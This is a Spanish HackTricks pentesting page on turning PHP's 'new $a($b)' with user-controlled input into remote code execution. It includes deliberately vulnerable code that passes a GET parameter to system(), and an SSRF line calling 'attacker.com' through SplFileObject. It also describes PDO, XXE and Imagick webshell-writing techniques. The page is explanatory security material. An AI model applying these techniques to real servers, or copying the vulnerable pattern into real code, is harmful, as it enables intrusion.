hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md

8.3 KiB

PHP - RCE abusando de la creación de objetos: new $_GET["a"]($_GET["b"])

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Introducción

En la situación donde puedes crear un nuevo objeto arbitrario como new $_GET["a"]($_GET["a"]) podrías ser capaz de obtener RCE, y este writeup expone diferentes maneras de conseguir RCE.

RCE a través de Clases Personalizadas o Autocarga

En la construcción new $a($b), la variable $a representa el nombre de la clase para la cual se creará el objeto, y la variable $b representa el primer argumento que se pasará al constructor del objeto.

Si $a y $b provienen de GET/POST, pueden ser cadenas de texto o arrays de cadenas. Si provienen de JSON u otra fuente, podrían tener otros tipos, como objeto o booleano.

Consideremos el siguiente ejemplo:

class App {
function __construct ($cmd) {
system($cmd);
}
}

# Additionally, in PHP < 8.0 a constructor might be defined using the name of the class
class App2 {
function App2 ($cmd) {
system($cmd);
}
}

# Vulnerable code
$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

En este código, puedes establecer $a a App o App2 y $b a uname -a. Después de esto, el comando uname -a será ejecutado.

Cuando no hay clases explotables en tu aplicación, o tienes la clase necesaria en un archivo separado que no está incluido por el código vulnerable, puedes echar un vistazo a las funciones de autocarga.

Las funciones de autocarga se establecen registrando callbacks a través de spl_autoload_register o definiendo __autoload. Se llaman cuando se intenta crear una instancia de una clase desconocida.

# An example of an autoloading function
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

# An example of an autoloading function, works only in PHP < 8.0
function __autoload($class_name) {
include $class_name . '.php';
};

# Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path
spl_autoload_register();

Dependiendo de la versión de PHP y del código en las funciones de autocarga, pueden existir algunas maneras de obtener una Ejecución de Código Remoto a través de la autocarga.

RCE a través de Clases Incorporadas

Cuando no tienes clases personalizadas y autocarga, puedes depender únicamente de las clases incorporadas de PHP.

Hay de 100 a 200 clases incorporadas en PHP. El número de ellas depende de la versión de PHP y de las extensiones instaladas. Todas las clases incorporadas se pueden listar a través de la función get_declared_classes, junto con las clases personalizadas:

var_dump(get_declared_classes());

Las clases con constructores útiles se pueden encontrar a través de la API de reflexión.

Mostrando constructores y sus parámetros utilizando la API de reflexión: https://3v4l.org/2JEGF

Si controlas múltiples parámetros del constructor y puedes llamar a métodos arbitrarios después, hay muchas maneras de obtener una Ejecución de Código Remoto. Pero si puedes pasar solo un parámetro y no tienes ninguna llamada al objeto creado, hay casi nada.

Solo conozco tres maneras de obtener algo de new $a($b).

SSRF + Deserialización de Phar

La clase SplFileObject implementa un constructor que permite la conexión a cualquier URL local o remota:

new SplFileObject('http://attacker.com/');

Esto permite SSRF. Además, los SSRF en PHP < 8.0 podrían convertirse en deserializaciones mediante técnicas con el protocolo Phar.

Explotando PDOs

La clase PDO tiene otro constructor interesante:

new PDO("sqlite:/tmp/test.txt")

El constructor PDO acepta cadenas DSN, lo que nos permite conectarnos a cualquier base de datos local o remota utilizando extensiones de base de datos instaladas. Por ejemplo, la extensión SQLite puede crear archivos vacíos.

SoapClient/SimpleXMLElement XXE

En PHP ≤ 5.3.22 y ≤ 5.4.12, el constructor de SoapClient era vulnerable a XXE. El constructor de SimpleXMLElement también era vulnerable a XXE, pero requería libxml2 < 2.9.

RCE a través de la Extensión Imagick

Revisando las dependencias del proyecto que estás intentando explotar podrías encontrar nuevas clases que podrían ser abusadas para ejecutar comandos creando un nuevo objeto. En este caso, se descubrió que Imagick era útil para ese propósito.

Analizador VID

El analizador VID permite escribir contenido arbitrario en una ruta arbitraria dentro del sistema de archivos, lo que permitiría a un atacante escribir un PHPshell en una carpeta accesible desde la página web y obtener RCE.

Analizador VID + Carga de Archivos

Cuando se carga un archivo a PHP, se almacena temporalmente en /tmp/phpXXXXXX. El analizador VID de Imagick con el protocolo msl permite especificar comodines en las rutas de archivos (para que el archivo cargado temporalmente se pueda acceder fácilmente) y copiarlo a cualquier ubicación arbitraria.
Esta es otra forma de obtener escritura de archivos arbitraria dentro del sistema de archivos:

Caída de PHP + Fuerza Bruta

El artículo original explicó otra forma de obtener RCE cargando archivos con contenido específico y haciendo que el servidor se caiga antes de que elimine ese archivo y luego fuerza bruta en el nombre del archivo temporal hasta que Imagick ejecute código PHP arbitrario.

Sin embargo, aparentemente el truco de la caída solo funcionaba en una versión antigua de ImageMagick.

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: